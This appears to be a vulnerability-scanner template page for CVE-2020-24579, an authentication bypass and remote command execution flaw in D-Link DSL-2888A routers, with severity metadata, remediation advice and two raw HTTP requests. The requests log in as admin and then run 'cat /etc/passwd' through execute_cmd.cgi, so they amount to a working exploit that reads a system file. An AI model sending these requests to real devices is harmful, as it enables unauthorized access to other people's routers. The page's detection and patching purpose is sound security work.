| Title | D-Link DSL 2888a - Authentication Bypass/Remote Command Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary commands on the affected router. |
| Remediation | Apply the latest firmware update provided by D-Link to fix the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.85951 |
| CVE ID | CVE-2020-24579 |
| CWE ID | CWE-287 |
| Tags | cve cve2020 dlink rce vuln |
D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55 are vulnerable to authentication bypass issues which can lead to remote command execution. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 88
Cookie: uid=6gPjT2ipmNz
Accept-Encoding: gzip
username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Connection: close
Cookie: uid=6gPjT2ipmNz
Accept-Encoding: gzip
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